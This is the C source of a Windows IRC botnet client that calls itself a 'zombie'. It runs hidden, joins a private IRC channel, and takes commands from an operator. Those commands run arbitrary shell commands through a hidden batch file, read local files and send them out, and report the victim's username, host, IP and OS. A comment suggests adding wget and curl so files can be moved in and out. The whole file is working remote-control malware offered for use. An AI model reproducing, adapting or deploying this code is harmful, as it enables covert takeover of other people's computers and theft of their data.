| 1 | /* |
| 2 | HarveCter IRCBot 1.0b-RC1 |
| 3 | This "313373" code by: Harvie 2oo7 |
| 4 | Minimalistic Windows IRC Bot/Zombie/Whatever you want... |
| 5 | |
| 6 | INFO: |
| 7 | Optimalized for Dev-Cpp |
| 8 | Compile as window app to make a daemon |
| 9 | |
| 10 | Warning: |
| 11 | There is not so big security!!! |
| 12 | If you want to keep your zombies, |
| 13 | control them only by PM or at completely secure channel!!! |
| 14 | All passwords, that are starting with your password will be accepted!!! |
| 15 | |
| 16 | COMMANDS: |
| 17 | Warning: all commands are case sensitive |
| 18 | |
| 19 | !login [login] //Bad login=logout |
| 20 | !chanpass //Set mode +k |
| 21 | |
| 22 | PRIVILEGED COMMANDS: |
| 23 | !SAY [msg] //Say msg |
| 24 | !CMD [shell command] //Execute command @ zombie |
| 25 | !head [file to send] //Send few (maxlines_to_send) lines of file |
| 26 | !raw [line to send] //Sends raw line to server (you can OP yourself) |
| 27 | !info //Info about zombie |
| 28 | !time //Localtime @ zombie |
| 29 | !show //Show console window |
| 30 | !hide //Hide console window |
| 31 | !restart //Restart connection |
| 32 | !respawn //Restart whole zombie |
| 33 | |
| 34 | Development comments: |
| 35 | |
| 36 | */ |
| 37 | |
| 38 | //PREPROC://////////////////////////////////////////////////////////////// |
| 39 | #include <stdio.h> |
| 40 | #include <time.h> |
| 41 | #include <stdlib.h> |
| 42 | #include <winsock.h> |
| 43 | #include <windows.h> |
| 44 | #pragma comment(lib,"ws2_32.a"); |
| 45 | |
| 46 | //SETTINGS://///////////////////////////////////////////////////////////// |
| 47 | char server[] = "irc.2600.net"; //IRC Server |
| 48 | int port = 6667; //Port of IRC Server |
| 49 | char channel[] = "#hv"; //IRC Channel |
| 50 | char pass[] = "test"; //Bot Password |
| 51 | char chanpass[] = "lol"; //Channel Password |
| 52 | char rcfile[] = "hircb.rc.bat"; //Run this file hidden at bot startup |
| 53 | int maxlines_to_send = 3; //Number of max lines to send at one time |
| 54 | #define DEBUG //Enables printing/loging |
| 55 | #define ENABLE_EXEC //Compile !CMD |
| 56 | //MAGICS:///////////////////////////////////////////////////////////////// |
| 57 | #define CONNECT_CHECKER_SLEEP 20000 |
| 58 | #define CONNECT_FAIL_SLEEP 5000 |
| 59 | #define IRC_JOIN_SLEEP 2000 |
| 60 | #define IRC_RETRY_SLEEP 1000 |
| 61 | #define MAXCHARS 768 //Maximum lenght of IRC message (RFC - 6 * 128 = 768) |
| 62 | //MISC://///////////////////////////////////////////////////////////////// |
| 63 | char version[] = "1.0b-RC1"; //Bot version |
| 64 | char cmdfile[] = "zzzcommands.bat"; |
| 65 | char nick[128] = "Harvecter"; //Doesn't matter - Username of active user (via getenv()) will be used instead |
| 66 | |
| 67 | |
| 68 | // |
| 69 | //FUNCTIONS:///////////////////////////////////////////////////////////// |
| 70 | |
| 71 | //CUT String to 768 characters |
| 72 | void irc_cut_text(char *line) { |
| 73 | *(line+MAXCHARS) = 0; |
| 74 | *(line+MAXCHARS-1) = '\n'; |
| 75 | } |
| 76 | |
| 77 | //Sends IRC message "msg" to "channel" over socket "s". |
| 78 | int irc_sendmsg(int s, char *channel, char *msg) { |
| 79 | int len, err; |
| 80 | char snd[1024]; |
| 81 | irc_cut_text(&msg); |
| 82 | sprintf(snd, ": PRIVMSG %s :%s\n", channel, msg); |
| 83 | irc_cut_text(&snd); |
| 84 | len = strlen(snd); |
| 85 | err = send(s, snd, len, 0); |
| 86 | #ifdef DEBUG |
| 87 | printf("%s", snd); //Show |
| 88 | #endif |
| 89 | return err; |
| 90 | } |
| 91 | |
| 92 | //This is thread to check/ping irc connection on background |
| 93 | int irc_check_socket = -1; |
| 94 | int irc_check_last = 0; |
| 95 | int irc_check_thread() { |
| 96 | unsigned char ping[] = "PING\n"; |
| 97 | int irc_check_time, len, err; |
| 98 | while(irc_check_last <= 0) sleep(500); |
| 99 | while(1) { |
| 100 | sleep(CONNECT_CHECKER_SLEEP); |
| 101 | #ifdef DEBUG |
| 102 | puts("Checking connection..."); |
| 103 | #endif |
| 104 | if(irc_check_socket >= 0) { |
| 105 | #ifdef DEBUG |
| 106 | puts("Pinging IRC Server..."); |
| 107 | #endif |
| 108 | err = send(irc_check_socket, ping, strlen(ping), 0); |
| 109 | sleep(1500); |
| 110 | #ifdef DEBUG |
| 111 | printf("Server latency: %d\n", time(0)-irc_check_last-1.5); |
| 112 | #endif |
| 113 | if(time(0)-irc_check_last > (CONNECT_CHECKER_SLEEP/1000)+10 || err == -1) { |
| 114 | #ifdef DEBUG |
| 115 | puts("Server not responding - disconnecting!\n\n"); |
| 116 | #endif |
| 117 | closesocket(irc_check_socket); |
| 118 | |
| 119 | } |
| 120 | } |
| 121 | } |
| 122 | } |
| 123 | |
| 124 | //MAIN_FUNCTION:////////////////////////////////////////////////////////// |
| 125 | int main(int argc, char *argv[]) { |
| 126 | |
| 127 | //MORE SETTINGS:////////////////////////////////////////////////////////// |
| 128 | //AllocConsole(); //Show |
| 129 | //FreeConsole(); //Hide... ;) |
| 130 | //freopen("log.txt", "ab", stdout); //Log all outputs to file |
| 131 | //INITIALIZATIONS://////////////////////////////////////////////////////// |
| 132 | #ifndef DEBUG |
| 133 | fclose(stdout); |
| 134 | fclose(stdin); |
| 135 | #endif |
| 136 | srand(time(0)); |
| 137 | int i; |
| 138 | unsigned char lclhost[256], lclhostnm[256], hostmsg[1000], linebuf[600]; |
| 139 | char *user, *processor, *root, *logonsrvr, *os, rnd[10]; |
| 140 | //Load enviroment variables |
| 141 | user = getenv("USERNAME"); |
| 142 | processor = getenv("PROCESSOR_IDENTIFIER"); |
| 143 | root = getenv("SystemRoot"); |
| 144 | logonsrvr = getenv("LOGONSERVER"); |
| 145 | os = getenv("OS"); |
| 146 | //Generate nick from username and random number |
| 147 | sprintf(rnd, "%i", rand()); |
| 148 | sprintf(nick, "H-%s-%s", user, rnd); |
| 149 | //time |
| 150 | struct tm *localtime(const time_t *tod); |
| 151 | struct tm *p_st_cas; |
| 152 | time_t cas; |
| 153 | //cmd |
| 154 | FILE *cmdf; |
| 155 | //Start connection checking thread: |
| 156 | unsigned checker_thread_id; |
| 157 | unsigned long checker_handle; |
| 158 | checker_handle = _beginthreadex( NULL, 0, irc_check_thread, 0, 0, &checker_thread_id); |
| 159 | if (checker_handle == 0) { |
| 160 | #ifdef DEBUG |
| 161 | puts("Cannot create connection watching thread!"); |
| 162 | #endif |
| 163 | return(20); |
| 164 | } |
| 165 | ////////////////////////////////////////////////////////////////////////// |
| 166 | //CODE://///////////////////////////////////////////////////////////////// |
| 167 | ////////////////////////////////////////////////////////////////////////// |
| 168 | |
| 169 | //Delete cmdfile (Hell knows it's useful...) |
| 170 | cmdf = fopen(cmdfile, "w"); |
| 171 | fprintf(cmdf, "del %s 2>nul\n", cmdfile); |
| 172 | fclose(cmdf); |
| 173 | WinExec(cmdfile,SW_HIDE); |
| 174 | |
| 175 | //Print banner |
| 176 | #ifdef DEBUG |
| 177 | printf("HarveCter IRCBot v%s\nConnecting: %s@%s:%i as %s\n\n", version, channel, server, port, nick); |
| 178 | #endif |
| 179 | //Execute startup script |
| 180 | WinExec(rcfile,SW_HIDE); //Run rcfile (hidden) |
| 181 | |
| 182 | //Declarations for WSA |
| 183 | int s; |
| 184 | SOCKADDR_IN sck; |
| 185 | HOSTENT *host, *localhost; |
| 186 | WSADATA wsadata; |
| 187 | WSAStartup(MAKEWORD(1,1),&wsadata); |
| 188 | |
| 189 | //Set details for WSA |
| 190 | while( (host=gethostbyname(server)) == NULL){ //Host |
| 191 | #ifdef DEBUG |
| 192 | printf("!Error server host not found\nwaiting 5s...\n"); |
| 193 | #endif |
| 194 | sleep(CONNECT_FAIL_SLEEP); |
| 195 | } |
| 196 | sck.sin_family = PF_INET; |
| 197 | memcpy(&sck.sin_addr.s_addr, host->h_addr, host->h_length); |
| 198 | sck.sin_port = htons(port); //Port |
| 199 | |
| 200 | //Info at localhost |
| 201 | while ((localhost=gethostbyname("")) == NULL) { |
| 202 | #ifdef DEBUG |
| 203 | printf("!Error local host not found\nwaiting 5s...\n"); |
| 204 | #endif |
| 205 | sleep(CONNECT_FAIL_SLEEP); |
| 206 | } |
| 207 | sprintf(lclhostnm, "%s", localhost->h_name); |
| 208 | sprintf(lclhost, "%s", inet_ntoa(*((struct in_addr *)localhost->h_addr))); |
| 209 | sprintf(hostmsg, "USER: %s at HOST: %s ( IP: %s ) SERVER: %s - OS: %s (%s) - ARCH: %s - VERSION: %s\n", user, lclhostnm, lclhost, logonsrvr, os, root, processor, version); |
| 210 | #ifdef DEBUG |
| 211 | printf("%s\n", hostmsg); |
| 212 | #endif |
| 213 | |
| 214 | //Initialization of strings used for IRC communication, etc... |
| 215 | int len, err; //Lenght, Error |
| 216 | char snd[1024], msg[1000], rcv[1024], passin[1000], *sub; |
| 217 | |
| 218 | //Infinite loop (bot can't stop) |
| 219 | while(1) { |
| 220 | irc_check_socket = -1; //disable connection checking |
| 221 | |
| 222 | //Create socket |
| 223 | s=socket(AF_INET, SOCK_STREAM, 0); |
| 224 | |
| 225 | //Connect |
| 226 | while( ( connect(s, (struct sockaddr *)&sck, sizeof(sck)) ) ) { |
| 227 | #ifdef DEBUG |
| 228 | printf("!Error while connecting\nwaiting 5s...\n"); |
| 229 | #endif |
| 230 | sleep(CONNECT_FAIL_SLEEP); |
| 231 | } |
| 232 | irc_check_socket = s; //enable connection checking for socket s |
| 233 | |
| 234 | //IRC Server login |
| 235 | sprintf(snd, "USER USER %s # # :%s\nNICK %s\nJOIN %s\n", nick, nick, nick); |
| 236 | irc_cut_text(&snd); |
| 237 | len = strlen(snd); |
| 238 | err = send(s, snd, len, 0); |
| 239 | |
| 240 | //Join&Set channel password |
| 241 | sprintf(snd, "JOIN %s %s\n", channel, chanpass); len = strlen(snd); err = send(s, snd, len, 0); |
| 242 | sleep(IRC_RETRY_SLEEP); |
| 243 | err = send(s, snd, len, 0); |
| 244 | //mode #chan +k heslo |
| 245 | sleep(IRC_JOIN_SLEEP); |
| 246 | sprintf(snd, "MODE %s +n+s+k %s\n", channel, chanpass); len = strlen(snd); err = send(s, snd, len, 0); |
| 247 | sleep(IRC_RETRY_SLEEP); |
| 248 | err = send(s, snd, len, 0); |
| 249 | |
| 250 | |
| 251 | //Send greetings |
| 252 | sprintf(msg, "Hello ;), let my introduce myself... I am %s v%s", nick, version); //Zprava |
| 253 | err = irc_sendmsg(s, channel, msg); |
| 254 | sprintf(msg, "!chanpass"); //Request channell operator to set channell password (mode +n+k) |
| 255 | err = irc_sendmsg(s, channel, msg); |
| 256 | |
| 257 | //Loop (while connection exists) |
| 258 | err = 1; |
| 259 | while(err && err != -1) { |
| 260 | |
| 261 | //JOIN |
| 262 | sprintf(snd, "JOIN %s %s\n", channel, chanpass); len = strlen(snd); err = send(s, snd, len, 0); |
| 263 | |
| 264 | //RECIEVE |
| 265 | memset(rcv, '\0', 1024); |
| 266 | sub = 0; |
| 267 | err = recv(s, rcv, 1020, 0); |
| 268 | irc_cut_text(&rcv); |
| 269 | #ifdef DEBUG |
| 270 | printf("%s", rcv); |
| 271 | #endif |
| 272 | irc_check_last = time(0); //For connection checker |
| 273 | |
| 274 | //PING-PONG (Respond to server pings only) |
| 275 | if ( (sub = (strstr(rcv, "PING :"))) ) { |
| 276 | sub = sub+6; |
| 277 | sprintf(snd, "PONG :%s", sub); |
| 278 | irc_cut_text(&snd); |
| 279 | len = strlen(snd); |
| 280 | err = send(s, snd, len, 0); |
| 281 | #ifdef DEBUG |
| 282 | printf("%s", snd); |
| 283 | #endif |
| 284 | } |
| 285 | sub = 0; |
| 286 | |
| 287 | if ( (sub = (strstr(rcv, ":!chanpass"))) ) { |
| 288 | #ifdef DEBUG |
| 289 | printf("!Setting chanpass\n"); |
| 290 | #endif |
| 291 | sprintf(snd, "MODE %s +n+s+k %s\n", channel, chanpass); |
| 292 | irc_cut_text(&snd); |
| 293 | len = strlen(snd); |
| 294 | err = send(s, snd, len, 0); |
| 295 | } |
| 296 | sub = 0; |
| 297 | |
| 298 | //LOGIN |
| 299 | if ( (sub = (strstr(rcv, ":!login "))) ) { |
| 300 | sub = sub+8; |
| 301 | sprintf(passin, "%s", sub); |
| 302 | if ( strstr(passin, pass) ) { //Use this condition to check login. |
| 303 | sprintf(msg, "Login succesful"); |
| 304 | err = irc_sendmsg(s, channel, msg); |
| 305 | #ifdef DEBUG |
| 306 | printf("\n!!!Login succesful\n"); |
| 307 | #endif |
| 308 | } else { |
| 309 | sprintf(msg, "Loged out"); |
| 310 | err = irc_sendmsg(s, channel, msg); |
| 311 | #ifdef DEBUG |
| 312 | printf("!!!Loged out\n\n"); |
| 313 | #endif |
| 314 | } |
| 315 | } |
| 316 | sub = 0; |
| 317 | |
| 318 | //IF LOGED IN: |
| 319 | if ( strstr(passin, pass) ) { |
| 320 | |
| 321 | //SAY |
| 322 | if ( (sub = (strstr(rcv, ":!SAY "))) ) { |
| 323 | sub = sub+6; |
| 324 | sprintf(msg, "MSG: %s", sub); //Zprava |
| 325 | err = irc_sendmsg(s, channel, msg); |
| 326 | } |
| 327 | sub = 0; |
| 328 | |
| 329 | //INFO (USER, DOMAIN, IP, ARCHITECTURE) |
| 330 | if ( (sub = (strstr(rcv, ":!info"))) ) { |
| 331 | err = irc_sendmsg(s, channel, hostmsg); |
| 332 | } |
| 333 | sub = 0; |
| 334 | |
| 335 | //TIME |
| 336 | if ( (sub = (strstr(rcv, ":!time"))) ) { |
| 337 | #ifdef DEBUG |
| 338 | printf("Time\n"); |
| 339 | #endif |
| 340 | |
| 341 | cas = time(0); |
| 342 | p_st_cas = localtime(&cas); |
| 343 | |
| 344 | strftime(msg, 512, "%H:%M:%S (%p) - %d(%A) %m(%B) %Y - %Z", p_st_cas); |
| 345 | err = irc_sendmsg(s, channel, msg); |
| 346 | } |
| 347 | sub = 0; |
| 348 | |
| 349 | //SEND RAW |
| 350 | if ( (sub = (strstr(rcv, ":!raw "))) ) { |
| 351 | sub = sub+6; |
| 352 | irc_cut_text(&sub); |
| 353 | len = strlen(sub); |
| 354 | err = send(s, sub, len, 0); |
| 355 | } |
| 356 | sub = 0; |
| 357 | |
| 358 | #ifdef ENABLE_EXEC |
| 359 | //SHELL |
| 360 | //Hey! Don't forget to download wget&curl in bot directory!! ;D |
| 361 | //With wget and curl you will be able to download and upload files... |
| 362 | if ( (sub = (strstr(rcv, ":!CMD "))) ) { |
| 363 | sub = sub+6; |
| 364 | #ifdef DEBUG |
| 365 | printf("!CMD %s", sub); |
| 366 | #endif |
| 367 | |
| 368 | sprintf(msg, "Executing: %s", sub); |
| 369 | irc_sendmsg(s, channel, msg); |
| 370 | #ifdef DEBUG |
| 371 | printf("!!! %s", msg); |
| 372 | #endif |
| 373 | |
| 374 | FILE *cmdf = fopen(cmdfile, "w"); |
| 375 | fprintf(cmdf, "%s\ndel %s\n", sub, cmdfile); |
| 376 | fclose(cmdf); |
| 377 | |
| 378 | WinExec(cmdfile,SW_HIDE); //Hide console window |
| 379 | //system(cmdfile); //Show console window |
| 380 | } |
| 381 | sub = 0; |
| 382 | #endif |
| 383 | |
| 384 | //SEND LINE OF FILE |
| 385 | if ( (sub = (strstr(rcv, ":!head "))) ) { |
| 386 | sub = sub+7; |
| 387 | #ifdef DEBUG |
| 388 | printf("!head %s", sub); |
| 389 | #endif |
| 390 | |
| 391 | for(i=0;i<strlen(sub);i++) { |
| 392 | if(sub[i]=='\n' || sub[i]=='\r') sub[i]=0; |
| 393 | |
| 394 | } |
| 395 | |
| 396 | if((cmdf = fopen(sub, "r")) != NULL) { |
| 397 | for(i=0;i<maxlines_to_send;i++) { |
| 398 | fgets(linebuf, (600-1), cmdf); |
| 399 | sprintf(msg, "%s: %s\n", sub, linebuf); |
| 400 | irc_sendmsg(s, channel, msg); |
| 401 | #ifdef DEBUG |
| 402 | printf("-> %s", msg); |
| 403 | #endif |
| 404 | } |
| 405 | |
| 406 | fclose(cmdf); |
| 407 | } |
| 408 | } |
| 409 | |
| 410 | //HIDE/SHOW |
| 411 | if ( (sub = (strstr(rcv, ":!hide"))) ) { FreeConsole(); } sub = 0; |
| 412 | if ( (sub = (strstr(rcv, ":!show"))) ) { AllocConsole(); } sub = 0; |
| 413 | |
| 414 | //RESTART connection to server |
| 415 | if ( (sub = (strstr(rcv, ":!restart"))) ) { |
| 416 | sprintf(msg, "Please wait while restarting..."); |
| 417 | err = irc_sendmsg(s, channel, msg); |
| 418 | closesocket(s); |
| 419 | sprintf(msg, "ERROR: Couldn't close socket :("); |
| 420 | err = irc_sendmsg(s, channel, msg); |
| 421 | #ifdef DEBUG |
| 422 | printf("\nRESTARTING...\n\n"); |
| 423 | #endif |
| 424 | } |
| 425 | sub = 0; |
| 426 | |
| 427 | //RESPAWN (restarts all) |
| 428 | if ( (sub = (strstr(rcv, ":!respawn"))) ) { |
| 429 | sprintf(msg, "Please wait while respawning..."); |
| 430 | err = irc_sendmsg(s, channel, msg); |
| 431 | #ifdef DEBUG |
| 432 | printf("\nRESPAWNING...\n\n"); |
| 433 | #endif |
| 434 | closesocket(s); |
| 435 | execl(argv[0], NULL); //Exchange old process for new (argv[0]) |
| 436 | sprintf(msg, "ERROR: Couldn't respawn :("); |
| 437 | err = irc_sendmsg(s, channel, msg); |
| 438 | #ifdef DEBUG |
| 439 | printf("ERROR: Couldn't respawn :(\n"); |
| 440 | #endif |
| 441 | } |
| 442 | sub = 0; |
| 443 | |
| 444 | }//END LOCKED COMMANDS |
| 445 | }//LoopEND |
| 446 | |
| 447 | //Close |
| 448 | closesocket(s); |
| 449 | #ifdef DEBUG |
| 450 | printf("!Error while sending\nwaiting 5s before reconnect...\n"); |
| 451 | #endif |
| 452 | sleep(CONNECT_FAIL_SLEEP); |
| 453 | }//InfiniteLoopEND |
| 454 | |
| 455 | //Finito (never reach here) |
| 456 | closesocket(s); |
| 457 | WSACleanup(); //Flush WSA |
| 458 | return(0); |
| 459 | |
| 460 | } |